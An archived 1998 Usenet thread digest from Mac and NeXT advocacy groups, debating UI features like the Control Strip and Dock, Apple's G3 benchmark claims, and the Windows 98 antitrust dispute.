References: <6icrin$6ra@newsb.netnews.att.com> <354A18DE.2819BDD3@nstar.net>
<6iclo4$oth$6@ns3.vrx.net> <354A267F.4681@CONVEX.COM>
<6icq9p$sq$1@ns3.vrx.net> <354A3627.21CA@CONVEX.COM>
<6id2hs$6oi$1@ns3.vrx.net> <6ijcbt$d0u$1@news.cmc.net>
<6ijusb$kos$2@ns3.vrx.net> <6il1qa$em7$1@cronkite.cygnus.com> <6ikjd8$6cd$1@ns3.vrx.net> <354E1BA1.6995@CONVEX.COM>
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Maury Markowitz wrote:
>
> In <6il1qa$em7$1@cronkite.cygnus.com> John Rudd claimed:
> > What mail client _DO_ you like?
>
> Frankly, none. If anything though, I think the best overall was
> CyberDog's. Clean, powerful, windowed (why do e-mail vendors insist in using
> panes - or should that be PAINs?).
Oh god! You like windowed email? That's a horribile system for mail!
A billion windows open just to read mail....UGH!! Give me one simple
pane as a viewer (Mail.app) any day!
Steve
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 98 22:34:39 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B175448C-2714DD@207.217.155.127>
References: <6iolmn$7sm$1@news.digifix.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
Scott Anguish wrote:
> But Brad.. I AM a Mac User. I DO have as much right to
>criticize a boneheaded, space taking, tack-on, like Control Strip.
Yeah, fine. But you know, you _can_ set a command-function key to show and
hide it. Isn't that good enough HI?
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
From: "Brad Hutchings" <brad@hutchings-software.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 5 May 98 22:29:40 -0700
Organization: EarthLink Network, Inc.
Message-ID: <B1754366-26CFC6@207.217.155.127>
References: <slrn6kvinl.m1i.sal@panix3.panix.com>
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nntp://news.earthlink.net/comp.sys.next.advocacy
>What if the OpenStep theme launches the Dock but the MacOS theme
>launches the control strip? That would be a trivial way to do it...
>
And then developers who would traditionally support the control strip for
hardware or system-wide software add-ons would have to write to two
different APIs to get their modules to show up on control strip and dock
(which, BTW, are a little bit too different to be covered by some
hypothetical abstraction layer).
No, I think this issue probably just comes down to a holy war, and the
Mac's HI has more believers.
Brad
<mailto: "Brad Hutchings" brad@hutchings-software.com>
<http://www.hutchings-software.com>
Got OpenDoc? Got Cyberdog? Then try Rapid-I Button. Tried it? Then buy it!
Point your Cyberdog to the Hutchings Software web site.
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 05:58:57 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6kvv11.4et.sal@panix3.panix.com>
References: <slrn6kvinl.m1i.sal@panix3.panix.com> <B1754366-26CFC6@207.217.155.127>
On 5 May 98 22:29:40 -0700, Brad Hutchings <brad@hutchings-software.com> wrote:
>>What if the OpenStep theme launches the Dock but the MacOS theme
>>launches the control strip? That would be a trivial way to do it...
>And then developers who would traditionally support the control strip for
>hardware or system-wide software add-ons would have to write to two
>different APIs to get their modules to show up on control strip and dock
>(which, BTW, are a little bit too different to be covered by some
>hypothetical abstraction layer).
No they don't. Why can't the control strip bundles work both from the
dock and vise versa? The YellowBox APIs do a very good job of abstracting
the UI from the code. In a worse case situation, they would just have
two .nibs. (Since the UI form for a "tiny little control window" I bound
to be simple, I don't see that as a problem at all.)
>No, I think this issue probably just comes down to a holy war, and the
>Mac's HI has more believers.
Ohh... in that case the UI should be Win95 since that has the largest
installed base. :)
And please don't use the phrase "holy war". Besides being an oxymoron,
it has nothing to do with this topic. Apple is not a cult. The MacOS
UI is not a gospel. There is nothing "holy" about the Mac. Its use is
not "prayer".
If you are looking to join a cult, go to the scientology group or
something.
--
sal@panix.com Salvatore Denaro
"The reality of the software business today is that if you find
something that can make you ridiculously rich, then that's something
that Microsoft is going to take away from you." -- Max Metral
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 22:57:24 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F8B3B.3FDF@earthlink.net>
References: <6il7fp$smu$1@news.digifix.com> <B173DA2F-4EC79@207.217.155.139> <6imb64$bj7$1@news.digifix.com>
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Scott Anguish wrote:
> Control Strip is a horrible little UI tack-on... as is
> WindowShade, MenuClock, Tabbed Windows and other items that aren't
> cohesive parts of the User Experience..
I agree Scott. I have never used the control strip on my Mac. It could
be done...better. I do like the menuclock though. If there's gonna be
a menu bar (which I believe Rhapsody has) , might as well stick the
clock there. There's so much empty space, it doesn't get in the way of
any important information. I do like the NeXT Preferences Clock as
well.
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.amiga.advocacy,comp.os.os2.advocacy,comp.os.linux.advocacy
Subject: Re: Windoze Sux: DirectX vs NT50
Date: Tue, 05 May 1998 23:02:29 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F8C6A.75EE@earthlink.net>
References: <gmgraves-2604981232290001@sf-pm5-2-66.dialup.slip.net> <3544B94D.AEA0CC67@algonet.se> <01HW.B16A93530002A33B01453580@news.sprynet.com> <35454ac1.6431001@news.tiac.net> <01HW.B16BA6800002814C01048570@news.sprynet.com> <3546a44e.7747984@news.tiac.net> <02HW.B16CF7900002260600D99280@news.sprynet.com> <3548690e.3684017@news.tiac.net> <02HW.B16E55E400061D2400ED1970@news.sprynet.com> <354bcd0e.7636866@news.tiac.net> <Pine.BSF.3.96.980504124037.28470A-100000@shell4.ba.best.com> <Pine.BSF.3.96.980504131937.4385B-100000@shell4.ba.best.com>
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darknerd@shell4.ba.best.com wrote:
> I'm finding that more and more games are NOT supporting WindowsNT 4.0. I
> recently explored Micro$oft's DirectX developer's site (DirectX being the
> game technology), and found the latest version of DirectX is NOT supported
> on WindowsNT 4.0, but rather be supported in WindowsNT 5.0 which forces me
> to upgrade.
>
> This SUCKS!!!!
But that is the M$ way!!!
Has Word ever supported the same file format (in it's history?) when a
new version came out? No. There's always a NEW one to UPGRADE to.
That way, while you can still write old formats, you'll eventually HAVE
to get the latest and ....er....uh....greatest? version of the software.
They're lousy at software but smart at marketing!
Steve
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: The killer app....
Date: Tue, 05 May 1998 23:05:18 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F8D13.EE@earthlink.net>
References: <6ilrs8$27f$1@ha2.rdc1.nj.home.com> <01bd77d6$6320c2c0$04387880@test1>
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Todd Heberlein wrote:
> I have been really looking forward to this. Combine this with the recent
> release of QuickTime 3, the distribution of Avid Technology's Avid Cinema
> with AIO Macs, and the growing popularity of low-cost writeable CD players
> and Apple really is in great position to drive multimedia content creation.
Well, DVD is soon going to be the format of choice and there's only ONE
DVD player available for G3's only (not even made by Apple). Whatever
happened to Apple being the FIRST company to ship computers with DVD's?
They are now DEAD LAST!!
Come on Apple! Get on with it!
Steve
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 06:11:03 GMT
Message-ID: <6ioutn$f0c$1@newsfep3.sprintmail.com>
References: <slrn6kvinl.m1i.sal@panix3.panix.com> <B1754366-26CFC6@207.217.155.127>
Mime-Version: 1.0
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Cc: brad@hutchings-software.com
Thats really too bad too. At first I really missed the mac style menus, and
hated
opensteps menus, but now I think they are really cool. And the dock is cool
too.
> And then developers who would traditionally support the control strip for
> hardware or system-wide software add-ons would have to write to two
> different APIs to get their modules to show up on control strip and dock
> (which, BTW, are a little bit too different to be covered by some
> hypothetical abstraction layer).
>
> No, I think this issue probably just comes down to a holy war, and the
> Mac's HI has more believers.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
NeXTMail and MIME OK!
From: Steve Kellener <skellener@earthlink.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Tue, 05 May 1998 22:51:24 +0100
Organization: EarthLink Network, Inc.
Message-ID: <354F89D4.4D61@earthlink.net>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <1d76snt.17ecjre1ykt2xdN@ppgutkneco.lirmm.fr> <1998040920073876968@dialup-202.def.oleane.com> <6hhht9$57p$15@ironhorse.plsys.co.uk> <*johnnyc*-0405981130590001@jchristie.halifaxcable.dal.ca>
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John Christie wrote:
> The reason one needs the small developers is for the innovation, not the
> implementation.
One of the coolest parts about Apple buying NeXT is that most NeXT users
were developers. I am just a user, but there is a ton of NeXT shareware
out there. This is a great thing. So along with all the Mac developers
out there, there's now an additional segment that will be writing
software and shareware for the platform. Alot of times IMHO good small
shareware apps are much more efficient than most of the bloatware out
there!
Looking foward to the Rhapsody explosion of software and shareware!
-Steve
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Byte deletes binaries and puts up apple tweaked binary???
Date: 6 May 1998 06:19:14 GMT
Message-ID: <6iovd2$f0c$2@newsfep3.sprintmail.com>
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if millions of p2 users sell their machines to buy g3's, I say great.
Its only when die hard mac users actually believe the marketing that gets to
me.
First of all, yes the g3 is faster than a p2. MOST photoshop functions show
the mac to be about %25 faster (g3 266 versus p2 300), a very small ammount
show the p2 to be faster, and quake probably shows the p2 to be faster. But
on average, a g3 266 is probably about %20 - %30 faster than a p2 300.
What is the problem with Apples claims? Up untill a couple of weeks ago, if
you went to bytes page, the executable you download was compiled with
codewarrior. This gave a score of 5.56 for int, 4.65 for fp. IF you used
codewarrior 1 and compiled it yourself with no optimizations, you got even
lower, 4.66 int, 3.54 fp. Note this was still faster than a p2 300. So a
fair byte shows g3's are faster, tho not by what apple claims.
Like I said, these were the binaries that were up till a couple of weeks ago.
For a couple of months, even macadvocates have states that Apple's claims
are preety much fabrications, people with g3's were running the byte test and
getting a score of 5 or 6 rather than 9. So oddly enough, the binaries are
removed, and the binary apple used is now on the byte page. And the byte faq
says the same binaries have been used for the last 2 years, yet the ppc
binaries were JUST changed, instead of codewarrior and something else (I
forget) its now motorola 3.0 developer release??
And Apple did tweak the binaries themselves, they admitted so after the first
g3 is twice as fast ad. At the bottom of the page it stated the p2 scores
were conducted by byte, and the g3 scores were taken by apple engineers in
apples labs. After I saw complaints that no one could match apples scores,
I checked the web page, and strangely enough the truth was gone :(
Now what would we say, if one day the p2 binary was replaced with a binary
that instead of giving a p2 300 a score of 5, gave it a score of 9? ANd we
saw that it was compiled with another compiler? I would think that intel had
tweaked the binary for their favor, and made it invalid. And how valid is
bytemarks if one compiler gives a score of 4.6, and another of 9.1, for the
same computer? And what did apple do for Byte to make them remove the
binaries that gave a score of 4.6 on a g3 266 with a binary that suddenly
gets 9.1? Motorola 3.0 compiler isnt even available to the public. I will
most definitely be sending some emails to byte, this is very very VERY FISHY.
If I had a g3, I would compile the byte source in codewarrior . And I
wonder how APple got byte to use the binary apple's engineers tweaked in
apples lab (remember Apple's web page originally stated the g3 tests were
done BY APple.
If you are interested in seeing the differences, check out a mac advocates
web page that has benchmarks, its at
http://biochem.bio.cornell.edu/emb22/eric/bmarks/bmarks.html
Again, I think its great if this marketing gets tons of new users. God knows
Intel would twist the truth just like APple did. We should expect as much
from marketing people.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
NeXTMail and MIME OK!
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 02:31:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ip03a$di9$1@crib.bevc.blacksburg.va.us>
References: <6io74v$cuc$1@crib.bevc.blacksburg.va.us> <B175052E-165DC1@206.165.43.143>
In article <B175052E-165DC1@206.165.43.143>, "Lawson English" <english@primenet.com> wrote:
> Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
> >In article <B174E97A-11AF54@207.217.155.172>, "Brad Hutchings" <
> >brad@hutchings-software.com> wrote:
> >> ROTFLMAO that people seriously think that volume controls on a keyboard
> >> or command-function key combinations are better HI than the control strip.
> >They are. Should every problem be solved by keyboard controls? No.
> >_Can_ every problem be solved that way? No. Should _this_ problem be
> >solved that way? I think it's a superior solution to software control,
> >though of course software control in some form should also be available.
> You're thinking like someone who uses the keyboard more than the mouse.
Which I do. Other than Web browsing, I'm using the keyboard over 90%
of the time.
People get too carried away with the GUI idea, IMHO. Just because you
have a mouse doesn't mean that everything is or should be done with it.
How many people have really sat down and examined exactly what fraction
of the time they spend still using the keyboard? For people who do
mostly graphic design or CAD or other graphic-related stuff, the mouse
is the major input device. But most people fall in other categories,
such as business (word processing, spreadsheets, databases), programming
(coding), communications (mail, news) etc., and for those tasks you use
the keyboard much more often than the mouse.
> It is generally easier to mouse a control than type one.
Oh yeah? For volume/up down, I can more or less instantaneously hit
something like PgUp/PgDown or Home/End or a couple of function keys.
Much faster than I can mouse down to a control strip, select a new volume
or mute it, then move back.
> I.E., a slider makes more sense than command key options. And a special
> button or two to control volume on a keyboard is just a very esoteric form
> of command key.
And much more useful than a slider.
> I mean, think about it: how often do you need to adjust the volume? How
> critical is it to most computing tasks?
Well, as a matter of fact, I often listen to music when reading news
or other mostly-reading activities, and typically need to readjust the
volume for each song.. but that's just me. Plus turning down the volume
when the phone rings, there's a knock at the door, someone wanders into
my room, I get up, etc.
I thought multimedia was a core focus of Apple? Might as well focus on
all the nice little customized bells-and-whistles like keyboard control
of volume. That sort of attention to detail is what made NeXT great.
> And yet, you want to take up precious keyboard real estate with a couple of
> volume controls?
I redefine some keys I don't personally use. Keyboard real estate isn't
all that precious, anyway. There are _lots_ of keys I'd replace with
something more specialized. Like the whole numeric keypad. I want
_more_ things to do with the keyboard, so I can map those useless keys
to something useful. If I can get a keyboard with volume controls
(and/or power controls, monitor dimming, or other nice stuff) with my
next computer, I will.
> if you need keyboard knobs to control volume, get a MIDI control board, for
> heaven's sake or use the knobs on the speakers.
I use the knobs on the speakers when using the speakers, but usually I'm
using headphones. Either way, I find a physical knob or key faster and
easier than a software control panel.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 6 May 1998 02:39:33 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6ip0j5$djj$1@crib.bevc.blacksburg.va.us>
References: <6il7fp$smu$1@news.digifix.com> <6imb64$bj7$1@news.digifix.com> <MPG.fb8d106bd4d200e9898d7@news.supernews.com> <354fed39.0@news.camtech.net.au>
In article <354fed39.0@news.camtech.net.au>, "timothyp@tne.net.au" <timothyp@tne.net.au> wrote:
> The windowshade feature has to be apple's lamest idea ever. It was half-arsed
> to say the least. Having rolled-up windows all over the screen is a pain inthe
> ass. A better Idea would have been to have the windows iconify like X-window
> allows (not sure how NeXT does it).
NEXTSTEP iconifies too (it calls it "minimizing").
But as a matter of fact, after playing around with both window-shading
and minimizing, I've found that there are situations in which I prefer
one _or_ the other. For example, if I have lots of overlapping windows
I find it more convenient to window-shade a top window away to briefly
look at something underneath (I know about window-cycling, but like
this better in many cases), since I don't have to move down to the
bottom to bring it back, then move back up again. But if I have a lot
of documents in an app open and only want to show a few at a time, I
prefer to have them minimized in a neat row on the bottom rather than
scattered about the screen.
It would be nice if, say, Cmd-m would map to one style and Cmd-M would
map to the other, and/or maybe have a "minimize" button to minimize and
double-click the title bar to window-shade.
> The windows implementation is even better than Apple's and that's saying
> something.
Didn't I read something about a MacOS 8 feature that would allow for
that style of minimization (into a bar on the bottom)? Can't remember..
> I hope Apple does something about this in Rhapsody, or someone else does at
> least.
It would be good to at least have a user default preference.. which there
hopefully will be in the final commercial release.
From: drifterusa@sprintmail.com (John Bauer)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Flipping Joe's Bozo Bit
Date: Wed, 6 May 1998 01:46:34 -0500
Organization: KAOS
Message-ID: <199805060146341748300@sdn-ts-002txhousp05.dialsprint.net>
References: <6hu2fp$sve$1@xmission.xmission.com> <joe.ragosta-2504982243370001@elk39.dol.net> <6i0dit$466$1@xmission.xmission.com> <MPG.fad7a7c96bc87a49896cb@news.unt.edu> <joe.ragosta-2704980556030001@elk45.dol.net> <6ibiba$clc@argentina.earthlink.net> <199805020131472899965@sdn-ts-002txhousp16.dialsprint.net> <6ifqeo$eke$1@xmission.xmission.com>
Kristofer Jon Magnusson wrote:
> I understand and accept your feelings. I believe you are a reasonable
> person. So I do not mind explaining why I flamed Joe as I did.
<explanation snipped>
Thanks for the thoughtful response. I would be lying if I said that
I've never been exasperated by Joe Ragosta. He can be stubborn and lash
out sometimes without giving the matter at hand due consideration. But
I also find him to be reasonable much of the time and the only person
tireless enough to rise to the challenge of fending off the constant
barrage of mindless attacks in c.s.m.a. NeXT advocates might not
appreciate this last quality too much as they don't have to suffer the
same level of juvenile criticism (from a wide and ever-changing variety
of "Bozos") that Mac users do, but it at least explains why I sometimes
feel compelled to rise to Joe's defense. Joe rarely exasperates me as
much as his detractors do, and in a perverse way, I'm glad that he
sticks in their craw -- present company excepted, of course. ;-)
As to the actual matter at hand, I agree that Rhapsody would be better
off with more widespread support and that to brush off the current lack
of it as inconsequential doesn't do anyone any good. However, I'm not
sure that the time has yet come to worry overly about Rhapsody's fate.
Hopefully we'll have a better idea by this time next week. I'm
certainly anticipating the withdrawing of the veils surrounding Apple's
plans for Rhapsody (is it an enterprise OS, a developer OS, or a
reconstituted Mac OS?), as I know is everyone else in these newsgroups.
At the very least it should make for some lively talk around here!
--
John Bauer
<remove NOT from email address above, just like the spammers do>
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 00:10:00 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ioon5$clv$3@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <354f6548.75775848@news.erols.com>
TL wrote in message <354f6548.75775848@news.erols.com>...
>On Tue, 5 May 1998 02:25:11 -0400, "John Saunders"
><jws@jws.ultranet.com> Said Unto the Faithful:
>
>>. . . . I did not foresee that the States would then turn around and use
this new
>>power of theirs again so soon. I certainly didn't foresee their going
after
>>Microsoft.
>>
>>I am not able to foresee a limit to the use of this power. There are fifty
>>states to choose from if you want to pick a team to go bully some company
or
>>person you don't like. This tool is more than sufficiently powerful to
turn
>>against the user. I do not think this is a good thing.
>
>
>If a number of states are actually capable of working cooperatively on
>one suit, it's a very good bet that 1) you are dealing with
>constitutional issues;
What were the constitutional issues in the Tobacco situation?
>2) the plaintiffs are more than a little
>confident that they have a case that can stand up to hard scrutiny;
How does this follow? It seems to me that with the costs of failure spread
around, states would be MORE likely to sue, not less. Besides, the states
aren't getting into these things to bring the case to trial. They're
extorting money from Microsoft, the same way the extorted money from the
Tobacco companies. And they're relying on the fact that you hate Microsoft
the same way you hate the Tobacco companies. Americans have almost no
interest in fairness when it's an enemy getting screwed.
>]3) the foe is too big to be intimidated by one state's legislature.
That may well be. So what?
>I'm capitalistic all the way, but even I admit the possibility that
>companies get out of hand. Let's air it all out and see how it looks. I
>find the tobacco companies' conduct over the last several decades to be
>immoral at best - - as documents are opened, we see that our health and
>wellbeing had no priority with the tobacco folks. When weighing profits
>against health concerns, profits won every time. They even plotted to go
>after children. Do you think THAT kind of business should be protected?
Who said anything about protection?
I'm going to point out to you that you just fell into the trap the States
laid for you. Because you hate the Tobacco companies, you're willing to
allow the states to act the way they did, ganging up on a set of companies
to extort money from them. Now, it seems you're willing to do the same to
Microsoft. Where do you draw the line? Can the states harrass, extort from,
or destroy anyone the public hates? Be careful you don't wind up on the
wrong end of that gun.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 00:01:29 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ioon0$clv$2@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imk6v$td8@ds2.acs.ucalgary.ca> <pxpst2-0505981117510001@pelli.pathology.pitt.edu>
Peter wrote in message ...
>In article <6imk6v$td8@ds2.acs.ucalgary.ca>, bhoang@acs3.acs.ucalgary.ca
>(Bich Hoang) wrote:
>
>> : Now, MS claims it is not a monopoly, yet, delaying one of its products
>> : has the "potential" to hurt business for roughly 2.2 MILLION+ people?
>>
>> Well, It could hurt Business but not so much with homeholds.
>> Compaq, Dell and IBM could be hurt by the delay of Windows 98.
>> Why?
>
>Because these guys have decided to market vaporware on a promise that the
>product will be delivered. IMHO, this guys fucked themselves. As to the
>point of hurting business, what CRAP. The only businesses that are hurt
>are the one s marketing it befroe its release.
Peter, should they have waited until after the release before talking about
it? Before marketing it? Before spending money to develop promotions?
John Saunders
jws@jws.ultranet.com
From: Jeremy Crabtree <crc3419@delphi.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 06 May 1998 01:54:06 -0400
Organization: Delphi Internet Services <http://www.delphi.com/>
Message-ID: <354FFAFE.6D97E316@delphi.com>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
John Saunders wrote:
>
> Craig Kelley wrote in message <6in9be$jdd$1@inconnu.isu.edu>...
> >In article <6imcmk$oj1$3@ligarius.ultra.net>,
> >John Saunders <jws@jws.ultranet.com> wrote:
> >
> >->Would the vendors of USB peripherals be hurt if there is no mainstream
> >->operating system that supports USB?
> >
> >Umm, Windows95 supports USB (as does Linux...)
> >
>
> I don't think so... Please provide confirmation of this. USB is being talked
> up as new in Windows 98. Maybe you mean that OSR2 supports USB?
Exactly, Win95 supports USB. (though, the importance of USB seems to be
negligable as of late)
>
> >->Would companies which have been testing their products against Windows 98
> be
> >->concerned if Windows 98 didn't ship?
> >
> >Not really, since Windows95 and Windows98 are almost exactly the same...
>
> Yes, really. They've been spending QA time testing something which isn't
> going to ship. That's a waste. It won't leave them pleased.
Nobody said it won't ever ship, its just going to be delayed, so that
money wasn't necessarily wasted. (they are still at fault if they wasted
so much time and money on a vapourware product as to suffer significant
loss)
>
> >->Would consumers who want to upgrade their existing systems by adding
> large
> >->hard disks be impacted by the lack of FAT32 support in Win95-retail?
> >
> >Umm, Windows95 supports Fat32... (and you have yet to make a point)
>
> Kindly distinguish Win95 OSR2 from the retail release. My laptop supports
> FAT32 (with no convert utility), but my old Gateway 486 does not. If I want
> FAT32 on my Gateway system (and if I'm not a thief), then I need Windows 98.
OSR2 *IS* Win95, its just a newer version, don't try to play "lawyer
ball" here, either argue the real issue or don't argue at all, but
nit-picking minor details doesn't accomplish anything.
>
> >->Don't be fooled. If DOJ and the State Extortionists General have their
> way,
> >->Microsoft won't be the only one to be hurt by this.
> >
> >Your logic, perhaps?
> >
>
> If "DOJ and the State Extortionists General have their way" is true, then
> Windows 98 will be tied up in the courts for a year or two, thus
> Companies other than Microsoft will be hurt
> Did I skip any steps?
Other companies may be "hurt," as you put it, but that is entirely their
fault for investing too much money into a product that A) Is still being
developed(hopefully not this late in the game though), B) Was
questionable from the get go (think of the investigations that were
already going on when it was announced)
>
> >->I did not foresee that the States would then turn around and use this new
> >->power of theirs again so soon. I certainly didn't foresee their going
> after
> >->Microsoft.
> >
> >It's been done before... Ever heard of AT&T?
> >
>
> Way big duh! The states didn't do that. It was the Federal Government. Oh,
> and by the way, remember IBM?
>
> The big difference in the current situation is that there will always be
> enough states that you can gather a bunch together to sue someone. Powerful
> as it is, there's only one Federal Government. That fact limits the power of
> the Federal Government. But there's a huge number of combinations of States.
>
> >->I am not able to foresee a limit to the use of this power. There are
> fifty
> >->states to choose from if you want to pick a team to go bully some company
> or
> >->person you don't like. This tool is more than sufficiently powerful to
> turn
> >->against the user. I do not think this is a good thing.
> >
> >Boo-hoo.
> >
>
> An old principal of free speech applies here as well.
>
> Freedom of speech is intended to protect those we most hate. In the process,
> it protects the rest of us.
>
> If we allow the states to arbitrarily harrass any company they want to, then
> pretty soon they'll be harrassing you.
Well you see, there is a flaw in your logic, they aren't "arbitrarily
harassing" Microsoft, MS has given them due cause to investigate, and
so, they are.
--
Vive Macintosh, all hail OS/2, Long live the Amiga, UNIX forever, umm,
and all the other systems I didn't mention. We all compute differently,
get over it. Jeremy Crabtree
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 00:12:18 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ioona$clv$4@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <6inpm5$qfo$1@interport.net>
float@interport.net wrote in message <6inpm5$qfo$1@interport.net>...
>John Saunders (jws@jws.ultranet.com) wrote:
>
>: To broaden the point, I was extremely disturbed when the States got
together
>: and did the Tobacco Settlement. I was unable to think of a precedent for
the
>: States getting together and strong-arming national and international
>: companies. Since it hadn't happened before, I had no reason to believe
it
>: would work out well this time. Further, I couldn't think that the
>: Constitution provided appropriate checks and balances against actions
such
>: as this.
>
>Remember that the States retain some degree of sovereignty, and as such,
>they have the right to collaborate or not collaborate in any way not
>specifically disallowed by federal law.
>
They have the right to do any number of things. That doesn't turn those
things into good ideas.
There are inadequate checks and balances here, and it's going to screw us
big-time if we don't quash it pretty damn soon.
How long will it be before DOJ tries using RICO against Microsoft? Talk
about abuse of legislation!
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Wed, 6 May 1998 00:19:16 -0400
Organization: UltraNet Communications, Inc. http://www.ultranet.com/
Message-ID: <6ioone$clv$5@ligarius.ultra.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6imcmk$oj1$3@ligarius.ultra.net> <01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>
VHA PC Development wrote in message
<01bd785f$a4d216e0$8383050a@bgravitt.CORP.VHA.COM>...
>I know this is a respam, but the discussion seems to be wide-ranging.
>
>John Saunders <jws@jws.ultranet.com> wrote in article
><6imcmk$oj1$3@ligarius.ultra.net>...
>> DC, would a company like CompUSA, which has spent x Million dollars
>getting
>> their advertising and promotions ready for the Win98 launch would be hurt
>if
>> that launch were delayed a year or two?
>
>Probably not.
>
I'm going to run right out and buy stock in CompUSA - a company which can
drop millions of dollars and not be hurt by it. Hey, people, I said "hurt",
not "devastated".
>>
>> Would the vendors of USB peripherals be hurt if there is no mainstream
>> operating system that supports USB?
>
>There would be mainstream support for USB if more people would/could get
>their hands on the USB supplement included in Win95 OSR2. Which, by the
>way, is all Win98 is except for being hamstrung by tighter integration with
>IE.
>
I know this. But that's in the ideal world. In the real world, the platform
in which this support is to ship is Windows 98.
How long do you think it would take DOJ to allow Microsoft to ship the USB
components of Win98 as an update? Three months? Six?
>>
>> Would companies which have been testing their products against Windows 98
>be
>> concerned if Windows 98 didn't ship?
>
>They shouldn't. Their programs should be able to run just fine on all
>flavors of Win95.
>
Yeah, ok. Is that why no one is testing their stuff on Windows 98? Whatever
testing they're doing will be wasted if they have to wait a year or two for
the software to ship.
>>
>> Would consumers who want to upgrade their existing systems by adding
>large
>> hard disks be impacted by the lack of FAT32 support in Win95-retail?
>
>Fat32 support is nice yes but once again, Fat32 is part of OSR2 (which you
>can't get without buying an OEM machine). MS wants you to pay for Fat32.
Again, I know that. What did I say that made people think I didn't know
about OSR2?
You can't (legally) buy OSR2 for an existing machine. If you have an
existing machine and you want some of these features, then you need Windows
98. I agree that if you buy a new machine you may have little use for
Windows 98.
John Saunders
jws@jws.ultranet.com
From: "John Saunders" <jws@jws.ultranet.com>
